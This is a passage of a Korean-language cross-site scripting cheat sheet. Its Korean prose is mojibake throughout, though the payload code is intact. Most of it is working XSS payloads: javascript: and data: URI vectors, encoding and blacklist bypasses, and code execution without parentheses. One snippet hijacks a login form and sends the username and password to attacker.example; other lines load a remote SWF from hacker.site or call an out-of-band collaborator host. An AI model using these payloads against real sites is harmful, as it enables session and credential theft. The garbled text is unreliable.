๋ ๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ์์๋ href ์์ฑ์ผ๋ก, javascript: ํ๋กํ ์ฝ์ ์ฌ์ฉํด ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค: href="javascript:alert(1)"
HTML ์ธ์ฝ๋ฉ/URL ์ธ์ฝ๋๋ฅผ ์ฌ์ฉํ ์ด๋ฒคํธ ๋ด๋ถ ์ฐํ
HTML๋ก ์ธ์ฝ๋ฉ๋ ๋ฌธ์๋ค์ HTML ํ๊ทธ ์์ฑ ๊ฐ ์์์ ๋ฐํ์์ ๋์ฝ๋ฉ๋ฉ๋๋ค. ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ์ ํจํฉ๋๋ค(ํ์ด๋ก๋๋ ๊ตต๊ฒ ํ์๋จ): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
์ฐธ๊ณ ๋ก ์ด๋ค ์ข ๋ฅ์ HTML ์ธ์ฝ๋ฉ์ด๋ผ๋ ์ ํจํฉ๋๋ค:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
์ฐธ๊ณ ๋ก URL encode๋ ์๋ํฉ๋๋ค:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Unicode encode๋ฅผ ์ฌ์ฉํ์ฌ event ๋ด๋ถ์์ Bypass
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
์์ฑ ๋ด์ ํน์ ํ๋กํ ์ฝ
์ฌ๊ธฐ์์๋ ์ผ๋ถ ์์น์์ javascript: ๋๋ data: ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ์์์ JS ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค. ์ผ๋ถ๋ ์ฌ์ฉ์ ์ํธ์์ฉ์ ์๊ตฌํ๊ณ , ์ผ๋ถ๋ ์๊ตฌํ์ง ์์ต๋๋ค.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
์ด ํ๋กํ ์ฝ์ ์ฃผ์ ํ ์ ์๋ ์์น
์ผ๋ฐ์ ์ผ๋ก javascript: ํ๋กํ ์ฝ์ href ์์ฑ์ ํ์ฉํ๋ ๋ชจ๋ ํ๊ทธ์์ ์ฌ์ฉ๋ ์ ์์ผ๋ฉฐ ๊ทธ๋ฆฌ๊ณ src ์์ฑ์ ํ์ฉํ๋ ํ๊ทธ์ ๋๋ถ๋ถ์์๋ ์ฌ์ฉ๋ ์ ์์ต๋๋ค (ํ์ง๋ง <img>๋ ์ ์ธ)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
๋ค๋ฅธ ๋๋ ํ ๊ธฐ๋ฒ
์ด ๊ฒฝ์ฐ HTML encoding๊ณผ Unicode encoding ํธ๋ฆญ์ ์ด์ ์น์ ์์์ ๋ง์ฐฌ๊ฐ์ง๋ก ์์ฑ ์์์๋ ์ ํจํฉ๋๋ค.
<a href="javascript:var a=''-alert(1)-''">
๋ํ, ์ด๋ฐ ๊ฒฝ์ฐ๋ฅผ ์ํ ๋ ๋ค๋ฅธ ์ ์ฉํ ์๋ น์ด ์๋ค: ์ค๋ น javascript:... ๋ด๋ถ์ ์
๋ ฅ์ด URL encoded๋๊ณ ์๋๋ผ๋, ์คํ๋๊ธฐ ์ ์ URL decoded๋๋ค. ๋ฐ๋ผ์, ์ด์ค์ผ์ดํํ๊ธฐ ์ํด ๋ฌธ์์ด์์ ํ๋ฐ์ดํ๋ฅผ ์ฌ์ฉํด์ผ ํ๊ณ ๊ทธ๊ฒ์ด URL encoded๋๊ณ ์๋ค๋ ๊ฒ์ ๋ณด๋๋ผ๋, ์๊ด์๋ค, ์คํ ์์ ํด์๋์ด ํ๋ฐ์ดํ๋ก ์ธ์๋๋ค.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
์ฐธ๊ณ : ์ด๋ค ์์๋ก๋ URLencode + HTMLencode๋ฅผ ๋ ๋ค ์ฌ์ฉํด payload๋ฅผ ์ธ์ฝ๋ฉํ๋ ค๊ณ ํ๋ฉด ์๋ํ์ง ์๋๋ค, ํ์ง๋ง payload ๋ด๋ถ์์๋ ํผํฉํ์ฌ ์ฌ์ฉํ ์ ์๋ค.
javascript:์ ํจ๊ป Hex ๋ฐ Octal encode ์ฌ์ฉ
iframe์ src ์์ฑ(์ ์ด๋) ๋ด๋ถ์์ Hex ๋ฐ Octal encode๋ฅผ ์ฌ์ฉํ์ฌ HTML tags to execute JS๋ฅผ ์ ์ธํ ์ ์๋ค:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
์์์ <a href= ํ๊ทธ์ ์ด๋ค URL์ด๋ ์ฃผ์
ํ ์ ์๊ณ ํด๋น ํ๊ทธ๊ฐ target="_blank" and rel="opener" ์์ฑ์ ํฌํจํ๋ค๋ฉด, ์ด ๋์์ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
on ์ด๋ฒคํธ ํธ๋ค๋ฌ ์ฐํ
๋จผ์ ์ด ํ์ด์ง (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)์์ ์ ์ฉํ โonโ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ํ์ธํ์ธ์.
๋ง์ฝ ์ด๋ฌํ ์ด๋ฒคํธ ํธ๋ค๋ฌ ์์ฑ์ ๋ง๋ blacklist๊ฐ ์๋ค๋ฉด ๋ค์ ์ฐํ ๋ฐฉ๋ฒ๋ค์ ์๋ํด ๋ณด์ธ์:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
โUnexploitable tagsโ์ XSS (hidden input, link, canonical, meta)
๋ค์ here ์ ๋ฐ๋ฅด๋ฉด ์ด์ hidden inputs์ ๋ค์๊ณผ ๊ฐ์ด ์ ์ฉํ ์ ์์ต๋๋ค:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
๊ทธ๋ฆฌ๊ณ meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
์ถ์ฒ: here:
XSS payload inside a hidden attribute๋ฅผ ์คํํ ์ ์๋๋ฐ, ์ด๋ victim์ persuadeํ์ฌ ํน์ key combination์ ๋๋ฅด๊ฒ ํ ์ ์์ ๋ ๊ฐ๋ฅํฉ๋๋ค. Firefox Windows/Linux์์๋ ํค ์กฐํฉ์ด ALT+SHIFT+X์ด๊ณ OS X์์๋ CTRL+ALT+X์ ๋๋ค. access key attribute์์ ๋ค๋ฅธ ํค๋ฅผ ์ฌ์ฉํด ๋ค๋ฅธ ํค ์กฐํฉ์ ์ง์ ํ ์ ์์ต๋๋ค. ๋ฒกํฐ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload๋ ๋๋ต ๋ค์๊ณผ ๊ฐ์ต๋๋ค: " accesskey="x" onclick="alert(1)" x="
๋ธ๋๋ฆฌ์คํธ ์ฐํ
์ด ์น์ ์์๋ ์ด๋ฏธ ๋ค์ํ ์ธ์ฝ๋ฉ์ ์ฌ์ฉํ ์ฌ๋ฌ ํธ๋ฆญ์ด ์๊ฐ๋์์ต๋๋ค. ๋ค์ ๋์๊ฐ์ ์ด๋์์ ์ฌ์ฉํ ์ ์๋์ง ํ์ธํ์ธ์:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
HTML ํ๊ทธ์ ์์ฑ์ ๋ํ ์ฐํ
์ด์ ์น์ ์ ์ฐธ์กฐํ์ธ์: Blacklist Bypasses of the previous section.
JavaScript ์ฝ๋ ์ฐํ
๋ค์ ์น์ ์ ์ฝ์ผ์ธ์: JavaScript bypass blacklist of the following section.
CSS-Gadgets
์น์ ์์ฃผ ์์ ๋ถ๋ถ์์ XSS๋ฅผ ๋ฐ๊ฒฌํ๊ณ ํด๋น XSS๊ฐ ์ด๋ค ์ํธ์์ฉ์ ํ์๋ก ํ๋ค๋ฉด(์: footer์ ์์ ๋งํฌ์ onmouseover ์์๊ฐ ์๋ ๊ฒฝ์ฐ), ๊ทธ ์์๊ฐ ์ฐจ์งํ๋ ์์ญ์ ๋ณ๊ฒฝํ์ฌ ๋งํฌ๊ฐ ์คํ๋ ํ๋ฅ ์ ๋์ผ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, ์์์ ๋ค์๊ณผ ๊ฐ์ ์คํ์ผ์ ์ถ๊ฐํ ์ ์์ต๋๋ค: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
ํ์ง๋ง WAF๊ฐ style ์์ฑ์ ํํฐ๋งํ๋ ๊ฒฝ์ฐ์๋ CSS Styling Gadgets๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ๋ค์์ ์ฐพ์๋ค๋ฉด
.test {display:block; color: blue; width: 100%}
๊ทธ๋ฆฌ๊ณ
#someid {top: 0; font-family: Tahoma;}
์ด์ ๋งํฌ๋ฅผ ๋ค์๊ณผ ๊ฐ์ ํํ๋ก ๋ณ๊ฒฝํ ์ ์์ต๋๋ค
<a href=โโ id=someid class=test onclick=alert() a=โโ>
์ด ํธ๋ฆญ์ ๋ค์์์ ๊ฐ์ ธ์์ต๋๋ค: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
JavaScript ์ฝ๋ ๋ด๋ถ์ ์ฃผ์
์ด ๊ฒฝ์ฐ ๋น์ ์ input์ .js ํ์ผ์ JS ์ฝ๋ ๋ด๋ถ๋ <script>...</script> ํ๊ทธ ์ฌ์ด, JS ์ฝ๋๋ฅผ ์คํํ ์ ์๋ HTML ์ด๋ฒคํธ ์ฌ์ด ๋๋ javascript: ํ๋กํ ์ฝ์ ํ์ฉํ๋ ์์ฑ ์ฌ์ด์ ๋ฐ์๋ฉ๋๋ค.
์ด์ค์ผ์ดํ <script> ํ๊ทธ
๋ง์ฝ ์ฝ๋๊ฐ <script> [...] var input = 'reflected data' [...] </script> ์์ ๋ฐ์๋๋ค๋ฉด, ๋ซ๋ <script> ํ๊ทธ๋ฅผ ์ฝ๊ฒ ์ด์ค์ผ์ดํํ ์ ์์ต๋๋ค:
</script><img src=1 onerror=alert(document.domain)>
Note that in this example we ์์ ๋ฐ์ดํ์กฐ์ฐจ ๋ซ์ง ์์์ต๋๋ค. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
JS ์ฝ๋ ๋ด๋ถ
If <> are being sanitised you can still ๋ฌธ์์ด์ ์ด์ค์ผ์ดํ where your input is being ์์นํ and ์์์ JS๋ฅผ ์คํ. Itโs important to JS ๋ฌธ๋ฒ์ ์์ ํ๋ ๊ฒ, because if there are any errors, the JS code wonโt be executed:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break โ inject โ repair pattern
์ฌ์ฉ์ ์ ๋ ฅ์ด ๋ฐ์ดํ๋ก ๊ฐ์ผ JavaScript ๋ฌธ์์ด ์์ ๋ค์ด๊ฐ ๋(์: server-side์์ inline script๋ก echo๋๋ ๊ฒฝ์ฐ), ๋ฌธ์์ด์ ์ข ๋ฃํ๊ณ ์ฝ๋๋ฅผ ์ฃผ์ ํ ๋ค ๊ตฌ๋ฌธ์ ๋ณต๊ตฌํ์ฌ ํ์ฑ์ ์ ํจํ๊ฒ ์ ์งํ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ธ ๊ณจ๊ฒฉ:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
์ทจ์ฝํ ํ๋ผ๋ฏธํฐ๊ฐ JS ๋ฌธ์์ด๋ก ๋ฐ์๋ ๋์ ์์ URL ํจํด:
?param=test";<INJECTION>;a="
์ด ๊ธฐ๋ฒ์ HTML ์ปจํ ์คํธ๋ฅผ ๊ฑด๋๋ฆด ํ์ ์์ด ๊ณต๊ฒฉ์ JS๋ฅผ ์คํํฉ๋๋ค (pure JS-in-JS). ํํฐ๊ฐ ํค์๋๋ฅผ ์ฐจ๋จํ ๋ ์๋์ blacklist bypasses์ ๊ฒฐํฉํด์ ์ฌ์ฉํ์ธ์.
Template literals ``
๋จ์ผ ๋ฐ ์ด์ค ๋ฐ์ดํ ์ธ์ strings๋ฅผ ๊ตฌ์ฑํ๊ธฐ ์ํด JS๋ backticks `` ๋ ํ์ฉํฉ๋๋ค. ์ด๊ฒ์ template literals๋ก ์๋ ค์ ธ ์์ผ๋ฉฐ ${ ... } ๋ฌธ๋ฒ์ ์ฌ์ฉํ์ฌ embedded JS expressions๋ฅผ ํฌํจํ ์ ์๊ฒ ํฉ๋๋ค.
๋ฐ๋ผ์, ๋ง์ฝ ๋น์ ์ ์
๋ ฅ์ด backticks๋ฅผ ์ฌ์ฉํ๋ JS string ์์ reflected ๋์ด ์๋ค๋ฉด, ${ ... } ๋ฌธ๋ฒ์ ์
์ฉํ์ฌ arbitrary JS code๋ฅผ ์คํํ ์ ์์ต๋๋ค:
์ด๋ ๋ค์๊ณผ ๊ฐ์ด ์ ์ฉํ ์ ์์ต๋๋ค:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
์ธ์ฝ๋ฉ๋ code ์คํ
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
์ ๋ฌ ๊ฐ๋ฅํ payloads ๋ฐ eval(atob())์ scope ๋์์ค
URL์ ๋ ์งง๊ฒ ์ ์งํ๊ณ ๋จ์ํ ํค์๋ ํํฐ๋ฅผ ์ฐํํ๋ ค๋ฉด, ์ค์ ๋ก์ง์ base64๋ก ์ธ์ฝ๋ฉํ๊ณ eval(atob('...'))๋ก ํ๊ฐํ๋ฉด ๋๋ค. ๋ง์ฝ ๋จ์ํ ํค์๋ ํํฐ๊ฐ alert, eval, atob ๊ฐ์ ์๋ณ์๋ฅผ ์ฐจ๋จํ๋ค๋ฉด, ๋ธ๋ผ์ฐ์ ์์ ๋์ผํ๊ฒ ์ปดํ์ผ๋๋ฉด์ ๋ฌธ์์ด ๋งค์นญ ํํฐ๋ฅผ ํํผํ๋ ์ ๋์ฝ๋ ์ด์ค์ผ์ดํ๋ ์๋ณ์๋ฅผ ์ฌ์ฉํ๋ผ:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
์ค์ํ ์ค์ฝํ ๊ด๋ จ ์ ์์ฌํญ: eval() ๋ด๋ถ์์ ์ ์ธ๋ const/let์ ๋ธ๋ก ์ค์ฝํ์ด๋ฉฐ ์ ์ญ์ ์์ฑํ์ง ์์ผ๋ฏ๋ก ์ดํ ์คํฌ๋ฆฝํธ์์ ์ ๊ทผํ ์ ์์ต๋๋ค. ํ์ํ ๋ ์ ์ญ์ด๋ฉด์ ์ฌํ ๋นํ ์ ์๋ ํ
์ ์ ์ํ๋ ค๋ฉด ๋์ ์ผ๋ก ์ฃผ์
๋ <script> ์์๋ฅผ ์ฌ์ฉํ์ธ์(์: ํผ ํธ๋ค๋ฌ๋ฅผ hijackํ๊ธฐ ์ํด):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
์ฐธ๊ณ : https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
์ ๋์ฝ๋ ์ธ์ฝ๋ฉ์ ํตํ JS ์คํ
alert(1)
alert(1)
alert(1)
JavaScript ๋ธ๋๋ฆฌ์คํธ ์ฐํ ๊ธฐ๋ฒ
๋ฌธ์์ด
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
ํน์ ์ด์ค์ผ์ดํ
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS ์ฝ๋ ๋ด๋ถ์ ๊ณต๋ฐฑ ์นํ
<TAB>
/**/
JavaScript comments (์ถ์ฒ JavaScript Comments ๊ธฐ๋ฒ)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript ์ค๋ฐ๊ฟ (์ถ์ฒ JavaScript new line ํธ๋ฆญ)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript ๊ณต๋ฐฑ ๋ฌธ์
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
์ฃผ์ ์์ Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
๊ดํธ ์๋ JavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (โalertโ), then the โthisโ value to that function (โwindowโ) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (โlocationโ), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The โhas instanceโ symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
์์์ ํจ์ (alert) ํธ์ถ
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
์ค๋ช
์ด ํ์ฅ๋์ด์ DOM vulnerabilities it was moved to this page:
ํด๋น ํ์ด์ง์์ DOM vulnerabilities๊ฐ ๋ฌด์์ธ์ง, ์ด๋ป๊ฒ ์ ๋ฐ๋๋์ง, ๊ทธ๋ฆฌ๊ณ ์ด๋ป๊ฒ ์ต์คํ๋ก์ํ๋์ง์ ๋ํ ์์ธํ ์ค๋ช
์ ์ฐพ์ ์ ์์ต๋๋ค.
๋ํ, ์ธ๊ธ๋ ๊ธ์ ๋ง์ง๋ง์์ DOM Clobbering attacks์ ๋ํ ์ค๋ช
๋ ํ์ธํ ์ ์์ต๋๋ค.
Upgrading Self-XSS
Cookie XSS
ํ์ด๋ก๋๋ฅผ ์ฟ ํค ์์ ๋ฃ์ด XSS๋ฅผ ๋ฐ์์ํฌ ์ ์๋ค๋ฉด, ์ด๋ ๋ณดํต self-XSS์ ๋๋ค. ํ์ง๋ง XSS์ ์ทจ์ฝํ ์๋ธ๋๋ฉ์ธ์ ์ฐพ์ ์ ์๋ค๋ฉด, ์ด XSS๋ฅผ ์ ์ฉํด ๋๋ฉ์ธ ์ ์ฒด์ ์ฟ ํค๋ฅผ ์ฃผ์ ํ์ฌ ๋ฉ์ธ ๋๋ฉ์ธ์ด๋ ๋ค๋ฅธ ์๋ธ๋๋ฉ์ธ(์ฟ ํค XSS์ ์ทจ์ฝํ ๋๋ฉ์ธ)์์ cookie XSS๋ฅผ ํธ๋ฆฌ๊ฑฐํ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ํด cookie tossing attack์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
์ด ๊ธฐ๋ฒ์ ํ๋ฅญํ ์ ์ฉ ์ฌ๋ก๋ this blog post์์ ํ์ธํ ์ ์์ต๋๋ค.
Sending your session to the admin
